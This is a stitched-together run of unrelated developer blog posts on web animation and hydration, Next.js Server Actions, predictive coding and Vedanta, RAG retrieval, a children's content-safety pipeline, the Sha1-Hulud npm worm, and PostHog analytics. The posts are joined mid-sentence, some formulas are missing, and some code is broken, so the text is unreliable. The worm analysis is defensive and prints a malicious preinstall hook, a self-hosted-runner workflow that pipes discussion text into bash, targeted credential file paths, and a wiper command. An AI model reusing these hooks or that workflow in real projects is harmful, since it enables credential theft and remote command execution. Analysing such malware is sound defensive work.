Sounds simple, right? It’s just an infinite marquee.

Instead, I spent hours tumbling down a performance rabbit hole. What started as a "quick animation" turned into a masterclass on Server-Side Rendering (SSR), the browser’s render pipeline, and the sometimes brutal reality of JavaScript performance.

Whether you use React, Vue, Framer Motion, or vanilla JS, here is exactly how I took my UI from "jittery and weird" to mathematically flawless and the architectural lessons I learned along the way.

Lesson 1: The React Hydration Trap

My first goal was to shuffle the grid of images on every load so the hero background always looked fresh and unique. Naturally, I reached for JavaScript's oldest trick: sorting an array with Math.random().

The Incident: Every time the page loaded, the images would flash briefly, and then the entire layout would violently rearrange itself.

The Root Cause: Hydration Mismatch Because the site was built with Next.js (which uses Server-Side Rendering), the server calculated one random order of images and shipped that static HTML to the user's browser. It loaded instantly.

But when React "woke up" (hydrated) on the client side, it re-ran Math.random(). The client generated a completely different mathematical result than the server. React panicked, realized the virtual DOM didn't match the server HTML, and forcefully deleted and redrew the UI. Hence, the "jump."

The Architecture Fix: To fix this, web applications need deterministic randomness. We replaced the basic random sort with a robust Fisher-Yates algorithm. By providing a fixed "seed" (a number) to the algorithm during the initial component render, both the server and the client generate the exact same "random" array.

export default function HeroBackground({ images }) { 
// ❌ Math.random() generates a different array on Server vs. Client 
const randomImages = [...images].sort(() => Math.random() - 0.5);
 return (
    <div className="absolute inset-0 flex flex-wrap">
      {randomImages.map(img => <Image key={img.id} src={img.url} />)}
    </div>
  );
}

After (The Hydration-Safe Way):

export default function HeroBackground({ images }) {
  // ✅ A seeded shuffle guarantees perfect SSR/Client sync
  const shuffledImages = seededShuffle([...images], 654); 
  return (
    <div className="absolute inset-0 flex flex-wrap">
      {shuffledImages.map(img => <Image key={img.id} src={img.url} />)}
    </div>
  );
}

No more DOM jumps. Perfectly smooth hydration.

Lesson 2: The Main Thread vs. The Compositor Thread

Next up: the infinite scroll. To animate the image grid endlessly moving left, I grabbed a popular JavaScript animation library. I duplicated the image array inside a wrapper and told the JS engine to animate the container's x axis from 0% to -50% on an infinite loop.

It worked, but it felt... weird. Every few seconds, the animation would stutter, and it distinctly "snapped" when the loop reset.

The Root Cause: Main Thread Contention & Flexbox Gaps JavaScript animation libraries generally operate on the browser's "Main Thread." This is the same thread responsible for parsing React, fetching data, handling clicks, and running your business logic.

When you ask a library to continuously animate massive DOM nodes (like a screen full of high-res images) using requestAnimationFrame, it has to fight with every other JS task for priority. If React decides to parse a heavy component, your animation misses a frame. Result: stuttering.

Additionally, we had a mathematical "gap" mismatch. We had 16px flex gaps on the parent, but translating exactly -50% fell 8 pixels short of a truly perfect loop alignment.

The Architecture Fix: Offloading to the GPU For continuous, never-ending animations, the browser's GPU (the Compositor Thread) is vastly superior because it runs independently of JavaScript.

I completely deleted the JS animation logic and wrote a pure CSS keyframe. CSS transform and opacity are the only properties that can be handed off entirely to the hardware compositor.

/* ✅ Runs natively on the GPU compositor thread — completely immune to JS lag /

@keyframes scroll-left { 
0% { transform: translate3d(0, 0, 0); } 
100% { transform: translate3d(-50%, 0, 0); }
} 

.animate-scroll-left { 
animation: scroll-left 60s linear infinite; 
will-change: transform; / Hint to browser to prioritize this layer */ 
}

The New UI Structure:

export function CardsRow({ images }) {
 return (
    <div className="flex w-max animate-scroll-left">
      {images.map(img => (
        <div key={img.id} className="relative shrink-0 pr-4"> 
          <Image src={img.url} />
        </div>
      {images.map(img => (
        <div key={`dup-${img.id}`} className="relative shrink-0 pr-4"> 
          <Image src={img.url} />
        </div>
      ))}
    </div>
  );
}

Pro-Tip on Math: To ensure exact -50% loops, avoid CSS Flexbox gap. Gaps complicate percentage translations. Instead, apply padding-right to individual child elements. The math becomes perfectly divisible, completely eliminating the tiny "snap" when the loop resets to 0.

Lesson 3: The Tug-of-War (CSS vs. JS Layouts)

With the background silky smooth, I moved on to a grid of "Story Cards" that users could filter. I wanted the cards to physically glide to their new coordinates when the grid reordered.

I used a JS library to handle the physical layout animation. But when I hovered over a card as it was moving, it began jittering violently back and forth.

The Root Cause: The Engine Conflict I had attached a utility class transition-all duration-300 hover:-translate-y-1 to the cards to give them a nice "lift" effect when hovered by a mouse.

When the user filtered the grid, the JS layout engine kicked in and began updating the transform matrix 60 times a second to move the card smoothly. But simultaneously, the browser's native CSS engine woke up, saw the physical transform changing, and tried to aggressively "tween" (transition) between the rapid JS updates.

Two distinct animation engines were in a literal tug-of-war for control of one element's hardware coordinates.

The Architecture Fix: Separation of Concerns The golden rule of modern web animation: Never mix CSS transform transitions with JS-based layout animations on the exact same element.

I replaced the sweeping transition-all with a specific transition-shadow (to keep my glowing hover shadow effect), and shifted the physical "lift" movement entirely into the JS library.

Before (The Tug-of-War):

export function StoryCard({ story }) {
  return (
    // ❌ CSS and JS fighting over the exact same 'transform' coordinates
    <motion.div
      layout // JS controls physical position
      className="transition-all hover:-translate-y-1" // CSS controls physical hover transform
    >
      <CardContent />
    </motion.div>
  );
}

After (Flawless Animation Architecture):

export function StoryCard({ story }) {
  return (

    <motion.div
      layout // JS controls physical grid location
      whileHover={{ y: -4 }} // JS strictly controls physical lift on hover
      className="transition-shadow duration-300" 
    >
      <CardContent />
    </motion.div>
  );
}

With the CSS engine out of its way, the JS library regained full, uninterrupted ownership of the hardware transform matrix. The cards now glide into their new positions with a premium, satisfying spring physics curve.

The Takeaway

Modern web tools and frameworks are incredibly powerful, but they abstract away the actual machine running the code. Achieving a truly premium, 60fps user interface requires peeking behind the curtain to understand why things move.

1. Understand SSR Hydration: Know the difference between a server-rendered string and a client-hydrated tree.

2. Respect the Compositor Thread: If it's a continuous, un-interrupted scroll, offload it to hardware via CSS. Keep repetitive load off your JS Main Thread.

3. Don't Cross the Streams: Let CSS handle your styling transitions (colors, shadows, opacity), and let Javascript handle your complex physical layout calculations.

Happy optimizing! Have you ever lost hours to a rogue hydration bug or stuttering animation? Let me know below!t me know below!

Nothing happens.

You tap it again. Still nothing. The button is completely dead.
Frustrated, you close the tab. Just like that, the company loses a lead.

Ironically, this isn’t a backend failureit’s a frontend one.
Their state-of-the-art React app simply couldn’t handle a slow 3G connection.

For years, we accepted this as the cost of doing business in the Single Page Application (SPA) era.

But Next.js Server Actions change the equation completely.

Let’s cut through the hype and look at the actual data—the bundle sizes, the network behavior, and why moving mutation logic back to the server is one of the most resilient decisions you can make.

The Data: Why Client-Side Forms are "Heavy"

To understand why Server Actions matter, we have to look at what it actually costs to build a robust form on the client side using standard API routes. If you are building a production-grade form today, you aren't just writing a fetch call; you are bringing in an entire ecosystem.

Typical Gzipped Bundle Cost:

• React Hook Form (State management): ~5kB

• Zod (Schema validation): ~12kB

• React Query / SWR (Mutation & Cache handling): ~13kB

• Custom Logic & Fetch Boilerplate: ~5-10kB

• Total Added Payload: ~35kB to 40kB (Gzipped)

On fiber internet, 40kB is a blink. On a mid-range Android phone over 3G, that JavaScript can add 1.5 to 3 seconds to your Time to Interactive (TTI). During those seconds, the user sees the form, but the button is a "zombie." If they click it, the event is lost. This is the Hydration Gap.

The Metric Shift: 0kB Mutation Logic

When you use a Server Action, your mutation logic bundle size drops to 0kB.

Because the action runs entirely on the server, you don't ship Zod or your fetch boilerplate to the client. Next.js compiles the action into a tiny, encrypted action ID inside a native HTML <form>.

The Performance Impact:

1. First Contentful Paint (FCP): Happens almost instantly because you're shipping lean HTML.

2. Time to Action: Because the browser uses a native HTML POST request, the user can click "Submit" before the JavaScript even finishes downloading. The request travels to the server while the browser is still busy hydrating.

3. Eliminating the Waterfall: Instead of the typical "POST -> Success -> GET updated data" sequence, Server Actions allow the server to mutate the data and return the updated UI in a single network roundtrip.

High-Fidelity UX: Validation and Loading States

A common fear is that moving logic to the server means losing the "snappiness" of modern apps. React 19 hooks bridge this gap perfectly.

1. The "Vanishing" Loading State

Using useFormStatus, you can create a reusable SubmitButton that automatically knows when its parent form is pending. No more manual setIsLoading(true) states scattered across your components.

2. Instant Feedback with useOptimistic

For "Likes" or "Comments," you don't want to wait for the server. The useOptimistic hook allows you to "fake" a successful response in the UI immediately. If the server eventually fails, React automatically rolls back the UI state.

3. Handling Dependent Fields (Country > State > City)

When one field depends on another, you have two high-performance choices:

• The URL Strategy: Update a query param (?country=nepal). The Server Component reads this and returns the filtered "State" list as pure HTML.

• The Hybrid Fetch: Use a simple client-side fetch to hit a Route Handler for the dependent data, while keeping the final form submission as a Server Action for type safety and security.

The Modern Code Pattern: useActionState

Here is how this looks in practice. Notice that zod is imported in the server file—it never touches the client's browser.

1. The Server Action (actions.ts)

'use server'
import { z } from 'zod';
import { revalidatePath } from 'next/cache';

const ContactSchema = z.object({
  email: z.string().email(),
  message: z.string().min(10),
});

export async function submitContact(prevState: any, formData: FormData) {
  const validated = ContactSchema.safeParse(Object.fromEntries(formData));

  if (!validated.success) {
    return { errors: validated.error.flatten().fieldErrors, data: validated.data };
  }

  // Database mutation logic here
  await db.message.create({ data: validated.data });

  revalidatePath('/contact'); 
  return { success: true };
}

2. The Client Component (ContactForm.tsx)

'use client'
import { useActionState } from 'react';
import { submitContact } from './actions';

export default function ContactForm() {
  const [state, formAction, isPending] = useActionState(submitContact, null);

  return (
    <form action={formAction}>
      <input name="email" defaultValue={state?.data?.email} />
      {state?.errors?.email && <p className="error">{state.errors.email}</p>}
      
      <button type="submit" disabled={isPending}>
        {isPending ? 'Sending...' : 'Submit'}
      </button>
    </form>
  );
}

The Architect's Warning: When Not to Use Server Actions

Server Actions are a powerful default, but they are not a silver bullet. Senior engineers know when to stay on the client:

• High-Frequency UI: Range sliders, drawing canvases, or search-as-you-type interfaces need to run at 60fps. The network latency of a Server Action would make these feel broken.

• Offline-First Apps: If your app must work in a tunnel (e.g., a field-service app), you need a client-side database and local mutations.

• Massive File Uploads: Serverless functions (like Vercel) often have a 4.5MB payload limit. For 100MB videos, use direct-to-S3 presigned URLs instead.

• Public APIs: Webhooks or mobile app endpoints still require standard Route Handlers (app/api/...), as Server Actions use encrypted IDs that external tools cannot call.

The Bottom Line

We don't adopt Server Actions just because they're the "Next Big Thing." We adopt them because eliminating 40kB of mutation logic directly correlates to a lower Time to Interactive. By relying on native HTML forms as a baseline, we build applications that are inherently more resilient.

No matter how bad a user's internet connection gets, your "Submit" button should actually work.

As I traced the mathematics governing this local energy minimization, a strange realization surfaced. I was looking at an eighth-century philosophical text written in the language of modern calculus.

The convergence between the cutting edge of artificial intelligence and the ancient epistemology of Advaita Vedanta is not just a loose metaphor. The mechanics of neural error correction elegantly mirror the philosophical framework of removing ignorance. Both disciplines are fundamentally analyze how a system resolves the friction between its internal projections and objective reality.

The Mathematics of Surprise

To understand the connection, we have to define the brain as an inference engine. In predictive coding and the Free Energy Principle, perception is framed as an active minimization problem. The brain is not a passive receiver of data. It is a prediction machine.

The system's agitation is not just a basic measure of being wrong. It is weighted by certainty. In predictive coding, the prediction error is mathematically defined by precision. Precision is the inverse of variance, meaning it measures how confident the brain is in its prior models versus incoming sensory data.

We can express this precision-weighted prediction error mathematically:

Here, x is the actual sensory input, μ is the brain's top-down prediction, and π is the precision weighting. When the brain is highly confident in its prior assumptions, π is large. The system forces the sensory data to conform to the internal model.

When this precision-weighted error is high, the system is agitated. The brain must burn physical metabolic resources to update its synaptic weights and resolve the discrepancy. High free energy represents literal biological friction. The brain is surprised, and surprise is computationally expensive.

The Rope, The Snake, and The Prior

Now rewind over a millennium to Adi Shankaracharya, the foundational thinker of Advaita Vedanta. The core epistemological problem in Vedanta is Maya, a term typically translated as illusion. However, Maya is not a hallucination of things that do not exist. It is the overlay of the mind's conditioned expectations onto raw reality.

Shankaracharya used a now-famous pedagogical example. A man walks in the dark and sees a coiled shape on the ground. He perceives a snake. His heart races, his cortisol spikes, and he recoils in terror. The snake is entirely real to his nervous system.

In the vocabulary of predictive coding, the man's mind has a fiercely rigid, high-precision prior. Conditioned by survival instincts, it predicts a threat. The sensory data from the dark path is ambiguous (low precision), so the brain forces the perception to match the prediction. The mind projects the snake to resolve the ambiguity.

The Calculus of Nirvana

What happens when someone brings a lamp?

The raw sensory data floods the visual cortex. The bottom-up signal becomes undeniably strong and its precision skyrockets, overriding the top-down prediction. The brain is forced to update its model. The man realizes he is looking at a piece of rope.

At this exact millisecond, the internal prediction aligns with the external reality. The prediction error drops. The system continuously updates its internal state μ to minimize the Free Energy function F by following the gradient descent path:

In machine learning, we call this convergence. In neurobiology, it is the minimization of free energy. In ancient Indian philosophy, this state of dropping false projections is the gateway to Moksha or Samadhi.

Crucially, biological systems never reach absolute zero free energy. A state of permanent zero prediction error is biological death. Instead, the stillness described in Vedanta is a state of dynamic equilibrium. Stillness is not the forceful absence of thought. It is the absence of unnecessary psychological friction. It is the precise state where the mind stops imposing rigid, fear-based priors onto the present moment.

When the internal model perfectly accepts reality without resistance, the mind becomes a flawless mirror. There is no agitation because the system is completely fluid and adaptable. The self that constantly worries about the future or regrets the past is essentially just an algorithm trapped in a state of high prediction error, perpetually trying to force the world to match its rigid priors.

Beyond the Mechanics

We spend billions of dollars and megawatts of computing power trying to teach silicon how to perceive the world. We build massive hierarchical models and derive elegant mathematical update rules. Yet the underlying truth we are uncovering is remarkably ancient.

While machine learning optimizes the weights of a neural network to reach a local minimum, Vedanta uses this same mechanical realization to transcend the network entirely. It aims for the dissolution of the subject-object divide. Whether you are mathematically minimizing a loss landscape or sitting in quiet observation, the foundational insight remains the same.

Suffering is the friction between rigid expectation and reality. Peace is the fluidity where that friction disappears.

But we put this "standard" approach to a stress test using the Apple 2023 10-K. The result was a $14 billion reality check.

1. The Experiment: A "Trap" for Vector Math

We asked a two-part question that any financial auditor would care about:

"What was the Provision for income taxes in 2023, and what specific legal settlement is mentioned in the footnotes?"

The Contestants

• Vector RAG (Pinecone): The industry standard. Shreds the document into 1,000-character "confetti" chunks and searches by similarity.

• Tree RAG (PageIndex): The challenger. It maps the document's structure (hierarchy) and "navigates" it like a human librarian.

2. The Result: Why the "Scent" Went Cold

The results were night and day.

Why Vector RAG Failed (Technical Post-Mortem)

Vector search works by Semantic Similarity (Vibes). When you ask about "Taxes" and "Settlements," the embedding model creates a single mathematical vector.

• The Dilution Effect: Because "Tax" appears 500 times in a 10-K, the vector "pulled" toward the main financial tables on page 31.

• The Keyword Gap: The legal dispute regarding Ireland (Note 7) uses words like "State Aid," "Escrow," and "Annulment." It rarely uses the word "Settlement" because Apple was still fighting it.

• The Result: Pinecone looked for "Settlements," found a different footnote about employee stock options, and gave the LLM the wrong context. The AI, having no better info, told us: "No legal settlement mentioned."

3. The "Vectorless" Secret: Structural Reasoning

"Vectorless" or Tree RAG succeeded because it didn't look for the words; it looked at the Map.

Instead of a flat list of chunks, PageIndex built a Hierarchical Tree. When the query hit, the AI "Navigator" performed a Structural Hop:

1. Analyze: "Legal matters in a 10-K live in Item 3 or the Financial Notes."

2. Navigate: It went to the Tree Node for Note 7: Income Taxes and Note 12: Contingencies.

3. Extract: It read the entire section. It found the €13.1 billion Irish State Aid case. It didn't matter that the word "settlement" wasn't a perfect match; the AI reasoned that this was the "Legal Matter" the user was looking for.

4. Is "Vectorless" Just Marketing Hype?

There is a lot of noise about "Vectorless RAG" being the "Pinecone Killer." Let's be human for a second: it is not. It is a specialized tool.

• Vector RAG (The Motorcycle): Use this for Scale. If you have 1,000,000 small files and need an answer in 50ms, stay with Pinecone. It is cheap, fast, and great for discovery.

• Tree RAG (The Crane): Use this for Depth. If you have one massive, 200 page document where facts are "buried" in footnotes (legal, medical, or financial), you need a Tree. It is slower and costs more in LLM tokens, but it won't lie to you.

5. The 2026 Pro Move: Hybrid RAG

The question of whether "Vectorless" is the future hit me because it forces us to admit that similarity is not the same as relevance. In a production-grade system, you don't choose. You use a Hybrid Pipeline:

1. Search: Use Pinecone to find the 3 most relevant PDFs in your library.

2. Reason: Use a Tree Index to "deep dive" into those specific PDFs to find the hidden truth.

The Final Verdict

If you treat every document like a flat list of strings, you are leaving 50% of the intelligence on the table. Stop shredding your data and start mapping it.

Integrating GenAI into a product is easy. Making it safe for children is an entirely different engineering challenge.

At Mintmystory, we’re building a platform that generates custom stories for kids. In this domain, a single “hallucination” isn’t just a funny bug; it’s a critical failure. Relying on a single prompt instruction like "Be nice" or "safety Settings: BLOCK_MEDIUM” isn't enough when you're dealing with user-generated inputs that can be unpredictable.

We decided to build a safety pipeline that doesn’t just “hope” for the best, but actively filters content through multiple independent layers. We call it our Triple-Layer Safety Framework.

The Core Problem: Separation of Concerns

LLMs are designed to follow instructions. If a user asks for a story about a “battle,” the model tries to comply. Even with safety fine-tuning, the model’s primary objective is helpfulness, which often conflicts with strict safety enforcement.

We found that we couldn’t rely on the story-generating model to be its own moderator. We needed a separate system: a dedicated “Judge” with no incentive to be creative, only to be critical.

Our Architecture

We implemented a pipeline where every prompt passes through three distinct gates.

Layer 1: The Doorman (Heuristics)

Tools: leo-profanity checks.
Goal: Speed and Cost.

Before making any API calls, we run a local dictionary check. This instantly blocks obvious spam and explicit slurs. It’s a simple regex-based filter that saves us money by preventing junk from reaching the LLM.

// research/safety-framework/src/layers/keyword-filter.ts
export class KeywordFilter {
    check(text: string): SafetyResult {
        // Fast, strictly local check. 0ms latency.
        if (!leoProfanity.check(text)) {
            return { isSafe: false, reason: 'Profanity detected' };
        }
        return { isSafe: true };
    }
}

Layer 2: The Bouncer (Adversarial Judge)

Tools: Gemini 1.5 Flash (System Prompt: Auditor).
Goal: Context and Intent.

This is where the real work happens. We use a smaller, faster model specifically prompted to act as an “Auditor”. Its only job is to analyze the input for harm. By decoupling this from the story generator, we remove the “helpfulness” bias.

// research/safety-framework/src/layers/safety-judge.ts
const prompt = `
You are an AI Safety Auditor. 
Your goal is to screen text for HARM, not just risky topics.
Guidelines:
- ALLOW: Educational content, simple conflict.
- BLOCK: Hate Speech, Graphic Violence, Sexual Content.
`;

Layer 3: The Guardrails (Provider Settings)

Tools: Gemini 2.0 Flash (Safety Settings).
Goal: Final Safety Net.

If something slips past the first two layers, the Generation model itself has Google’s native HarmBlockThreshold.BLOCK_LOW_AND_ABOVE enabled. This catches output-side violations.

The “False Positive” Trade-Off

We ran this framework against a test dataset of adversarial prompts.

Harmful Catch Rate 100%. All hate speech and dangerous instructions were blocked. False Positive Rate~60%. Initially, simple stories like “A brave puppy” were flagged. Avg Latency+800ms: The cost of the extra API call.

Engineering for Trust vs. Churn

A high False Positive rate is annoying. It causes churn because users get blocked for writing innocent things like “naked mole rat” (the word “naked” triggers the filters)

However, in our domain, False Negatives are unacceptable. We deliberately chose a “Fail-Secure” architecture. We’d rather block 5 innocent stories than let one harmful one through.

To mitigate the churn, we introduced Context-Aware Policies.

Insight: Context-Aware Safety

Safety isn’t one-size-fits-all. A story about a war might be educational for a “Teen” but scary for a “Toddler”.

We updated Layer 2 to be adaptive. We pass the target_audience into the Auditor's system prompt.

// research/safety-framework/src/layers/safety-judge.ts
const nuanceGuide = targetAudience === 'Toddler' 
    ? "STRICT MODE. Block scary content. BUT whitelist innocent animal facts (e.g. 'naked mole rat')."
    : "NUANCED MODE. Allow biological terms and historical context.";

const prompt = `Target Audience: \({targetAudience}. Guidelines: \){nuanceGuide}...`;

This reduced our False Positive rate significantly for older audiences while keeping the “Toddler” setting extremely strict but smarter about common tropes.

Summary

This triple-layer approach adds latency (~800ms) and complexity, but it gives us deterministic control over our safety standards. It moves “Safety” from a vague hope to a measurable, engineered component of our pipeline.

We are currently witnessing the "Second Coming" of the Sha1-Hulud malware campaign. It’s not just another script-kiddie virus; it is a sophisticated, self-replicating worm that turns the tools we trust—GitHub, npm, and our own CI pipelines—into weapons against us.

This isn't just about stolen passwords. It’s about how attackers are mastering the art of Living off the Land (LotL) to bypass our defenses by looking exactly like us.

Here is the technical breakdown of how Sha1-Hulud 2.0 works, why it’s dangerous, and how to verify if your machine has been turned into a zombie runner.

The Name: Why "Sha1-Hulud"?

For the sci-fi fans, the name is a nod to the giant sandworms of Arrakis from Frank Herbert’s Dune, known as Shai-Hulud. The metaphor chosen by the attackers is terrifyingly accurate:

• It is a Worm: The malware is self-replicating, burrowing through the npm registry to infect new packages automatically.

• The Harvest: In Dune, the worms guard the Spice. In this attack, the worm hunts for "digital spice"—your AWS keys, NPM tokens, and SSH credentials.

• The Scale: Just like the massive creatures in the books, the blast radius here is enormous, impacting over 25,000 repositories in a matter of days.

The Anatomy of the Attack

Most supply chain attacks are smash-and-grab jobs. Sha1-Hulud is different; it’s an ecosystem occupier. It moves through three distinct phases: Infection, Persistence, and Replication.

1. The Infection: "Preinstall" Panic

The attack starts when you install a compromised npm package (thousands have been infected, including popular ones from Zapier and ENS Domains).

Unlike older malware that waits for the postinstall hook, Sha1-Hulud strikes early using preinstall.

// Malicious package.json
{
  "scripts": {
    "preinstall": "node setup_bun.js"
  }
}

The moment the download finishes, setup_bun.js runs. It acts as a Loader, determining if it's on a developer's laptop or a CI/CD server.

• On Dev Machines: It spawns a detached background process (so your terminal doesn't freeze).

• On CI/CD: It runs synchronously to keep the runner alive long enough to exfiltrate secrets.

2. The Theft: Living off the Land

Once active, the malware doesn't download custom hacking tools. It uses your tools. It scans for:

• ~/.aws/credentials (AWS Keys)

• ~/.ssh/id_rsa (SSH Keys)

• npmrc tokens

• GitHub Personal Access Tokens (PATs)

It then performs a "Dead Drop" exfiltration. Instead of sending data to a blacklisted IP, it uses the legitimate GitHub API to create a new repository on your account (often named with "Sha1-Hulud" in the description) and uploads your secrets there as JSON files.

3. The Backdoor: The "Zombie" Runner

This is the most technically impressive part. The attackers don't just want your data; they want your compute.

The malware uses your stolen GitHub token to register your machine as a Self-Hosted GitHub Action Runner. It then commits a workflow file named .github/workflows/discussion.yaml to the repo.

The "Chat" that Kills: This workflow is a listener. The attacker can simply open a Discussion thread in that repo and type a command. Your machine, which is polling GitHub for work, sees the discussion, reads the command, and executes it.

# Simplified Logic of the Backdoor
on: discussion
jobs:
  run_command:
    runs-on: self-hosted # YOUR MACHINE
    steps:
      - run: echo "${{ github.event.discussion.body }}" | bash

This bypasses firewalls because the traffic is outbound (your machine asking GitHub for work) and goes to a trusted domain (github.com).

Detection: The Full Audit

Because this attack uses legitimate binaries (node, Runner.Listener), standard antivirus tools often miss it. You need to hunt for behavior and artifacts, both on your local machine and in your cloud environment.

Phase 1: The Local Machine (Your Laptop)

1. The "Zombie" Process Open your terminal. You are looking for a GitHub Runner process that you didn't start.

Bash

ps aux | grep Runner.Listener

🚩 Red Flag: If you see Runner.Listener running and you typically rely on cloud runners (like GitHub Actions default runners), your machine is compromised.

2. The Hidden Configuration The malware stores its connection config in a hidden file.

Bash

find ~ -name ".runner" 2>/dev/null

🚩 Red Flag: Finding this file in a temp folder or a hidden subdirectory (e.g., ~/.hidden/.runner) confirms the backdoor is active.

3. The Payload Artifacts The malware drops specific files to handle the "preinstall" logic. Search your file system for these specific names:

• setup_bun.js (The loader)

• bun_environment.js (The encrypted payload)

• cloud.json or truffleSecrets.json (Staged files containing your stolen keys)

4. Persistence Checks (MacOS/Linux) The malware wants to survive a reboot. Check your startup tasks:

• MacOS: Check ~/Library/LaunchAgents/ for suspicious .plist files referencing the runner.

• Linux: Check ~/.config/systemd/user/ or standard cron jobs (crontab -l).

Phase 2: The Cloud (GitHub & AWS)

Even if you clean your laptop, the attacker might still have access to your cloud accounts.

1. The "Sleeper" Runner This is the most critical check.

• Go to: GitHub Organization/Repo Settings -> Actions -> Runners.

• Look for: Any "Self-hosted" runner that is currently "Idle" or "Active" that you do not recognize.

• Action: If you see one, click "Remove" immediately and revoke the token used to register it.

2. The "Dead Drop" Repositories Check your own GitHub profile for repositories created recently that you don't remember making.

• Look for: Repositories with descriptions like "Sha1-Hulud: The Second Coming" or random strings.

• Check: The "Secrets" or "Settings" of these repos—attackers often store the stolen data as "Artifacts" or committed JSON files inside them.

3. Cloud Identity Audit If your AWS/Azure keys were on your machine, assume they are compromised. Check your CloudTrail or Activity Logs for:

• sts:GetCallerIdentity (The attacker checking "who am I?")

• secretsmanager:ListSecrets (The attacker looking for more loot)

• Any API calls originating from IP addresses that don't match your home or office VPN..

Check 3: The "Dead Man's Switch"

Be careful. The malware contains a wiper logic. If it fails to connect to its C2 (GitHub) or detects it is being cornered, it may attempt to wipe your home directory (rm -rf ~). Disconnect from the internet immediately before attempting remediation if you suspect an active infection.

The Takeaway: Trust No Package

The Sha1-Hulud 2.0 campaign is a wake-up call. It proves that "Living off the Land" isn't just for nation-state hackers; it's now part of the automated supply chain toolkit.

Actionable Tips:

1. Audit your Personal Access Tokens (PATs): If you have tokens with repo or workflow scope that don't expire, rotate them now.

2. Disable Scripts: If you are auditing a package, use npm install --ignore-scripts.

3. Check your Repos: Look at your own GitHub profile. Do you see any new repositories you didn't create? That is the hallmark of this specific infection.

Stay paranoid, stay safe.

Found this technical deep-dive helpful? Share it with your engineering team before your next npm install.

Building a great software is more than just writing code , it’s about understanding users, fixing issues fast, and shipping features confidently. Developers need more than a code editor; they need visibility into user behavior, performance issues, and feature usage.

Unlike typical analytics tools built for product teams, PostHog is designed with engineers in mind, PostHog is an open-source, all-in-one platform offering product analytics, session replay, feature flags, A/B testing, error tracking and more.

Deep Dive on Posthog

Now that we’ve covered why PostHog matters to developers, let’s explore how it works under the hood ,  starting with events, the building blocks of all analytics.

Events in Posthog

At the heart of PostHog   and any analytics platform   are events.

In PostHog, events represent user interactions with your app or website, forming the core data unit. These events can be as simple as a button click or as complex as a purchase and can be customized to track specific user behaviors

PostHog comes with extensive out-of-the-box event tracking, automatically capturing a wide range of properties   from browser and OS details to location (country, city via IP), browser language, current URL, and more.

This rich context powers advanced features like:

• Rage click detection

• Session replays

• Funnel analysis

• Retention tracking

With these insights, developers can understand user behavior in depth and continuously improve the product experience.

Fig: example of events and what properties are captured under each events

Ways to capture events in posthog

Automatic event capture:

Imagine a user clicks on a “Sign Up” button. PostHog will automatically track this action as an event, capturing key details such as the URL of the page the user was on at the time, the browser and operating system they were using, and the time of the click.

Manual event capture:

Let’s say you want to track when a user completes a purchase in your app. Instead of relying on PostHog’s automatic capture, you can define a custom event to track the exact amount spent and the items purchased.

posthog.capture('purchase_completed', {
  total_amount: 49.99,
  items_purchased: ['Product A', 'Product B'],
});

This event would now give you detailed insight into user behavior after they make a purchase, including which products are most popular and how much users are spending.

From Code to Insights: How PostHog Helps You Build Better

While this guide focuses on developers, PostHog’s all-in-one toolkit is built to support entire product teams ,  from engineers to marketers, analysts, and founders. Whether you’re shipping code, analyzing user behavior, or making data-driven decisions, PostHog brings powerful tools into a single platform.

Let’s break down what makes it so effective.

1) Unified Tooling: Simplifying the Developer Stack

Developers often juggle multiple tools for analytics, error tracking, feature flagging, and A/B testing. PostHog consolidates these into a single platform

As developers, we’re naturally drawn to tools that unify and simplify. Whether it’s a framework, library, or package, we tend to appreciate solutions that bring multiple capabilities under one roof. The less context-switching and integration overhead, the better.

Integrating PostHog into a development workflow is designed to be straightforward

For instance, embedding the following snippet within the <head> tags of an HTML document provides immediate access to PostHog's core functionalities

<script>
   !function(t,e){var o,n,p,r;e.__SV||(window.posthog=e,e._i=,e.init=function(i,s,a){function g(t,e){var o=e.split(".");2==o.length&&(t=t[o],e=o[1]),t[e]=function(){t.push([e].concat(Array.prototype.slice.call(arguments,0)))}}(p=t.createElement("script")).type="text/javascript",p.crossOrigin="anonymous",p.async=!0,p.src=s.api_host.replace(".i.posthog.com","-assets.i.posthog.com")+"/static/array.js",(r=t.getElementsByTagName("script")).parentNode.insertBefore(p,r);var u=e;for(void 0!==a?u=e[a]=:a="posthog",u.people=u.people||,u.toString=function(t){var e="posthog";return"posthog"!==a&&(e+="."+a),t||(e+=" (stub)"),e},u.people.toString=function(){return u.toString(1)+".people (stub)"},o="init capture register register_once register_for_session unregister unregister_for_session getFeatureFlag getFeatureFlagPayload isFeatureEnabled reloadFeatureFlags updateEarlyAccessFeatureEnrollment getEarlyAccessFeatures on onFeatureFlags onSessionId getSurveys getActiveMatchingSurveys split(" "),n=0;n<o.length;n++)g(u,o[n]);e._i.push([i,s,a])},e.__SV=1)}(document,window.posthog||);
    posthog.init('<ph_your_project_api_key>', {api_host: 'https://us.i.posthog.com'})
</script>

For projects utilizing JavaScript you can use your favourite package managers like pnm, npm or yarn

2) Product Analytics & Autocapture: Understanding Usage with Less Effort

Sure, you’ve heard the buzzwords :  DAU, MAU, Funnels, Retention, Churn, Cohorts. Analytics platforms often throw these terms around and expect developers to tag every button, track every event manually, and dig through complex dashboards like they’re solving a crime scene.

Tools like Google Analytics or Mixpanel offer some level of automatic tracking, but often still require manual setup, custom events, or limited flexibility.

But posthog flips that script, with built-in autocapture, it automatically tracks clicks, page views, and form interactions   right out of the box. No extra code, no tracking plan spreadsheets. Just real insights, built for developers who want to understand how their features are actually used.

Let’s say you just shipped a new onboarding flow with a few “Next” buttons and a feedback form at the end.

Without writing a single tracking line, PostHog will automatically capture:

• How many users clicked “Next”.

• Whether they completed the onboarding flow.

• If they submitted feedback  and on what page they dropped off.

You can then view all of this in funnels, heatmaps, or session replays   without touching your code again.

3) Session Replay: See What Your Users See  Without the Guesswork

The PostHog UI for session replay typically includes an event timeline, console logs, and network monitoring tools, providing a comprehensive view of the user’s experience at a granular level

Session replay captures user interactions exactly as they happened , not by recording their screen, but by cleverly capturing DOM changes and replaying them like a movie.

It’s like a developer-friendly time machine 🔄 that lets us watch how users navigated, clicked, scrolled, and sometimes… rage-quit.

This visual insight helps with a ton of use cases:

But here’s the thing , watching user sessions can feel a bit invasive at first.

You might ask:

“Wait, someone can literally replay my clicks? Isn’t that a privacy red flag?”

Fig: ensure data privacy with posthog

So yes, session replay is powerful  but in PostHog, it’s built for

debugging with empathy

4) Error Tracking

Error tracking is one of my personal favorite feature in PostHog.

It acts as a robust logger for both your frontend and backend, offering enhanced features and ease of use compared to traditional logging methods.

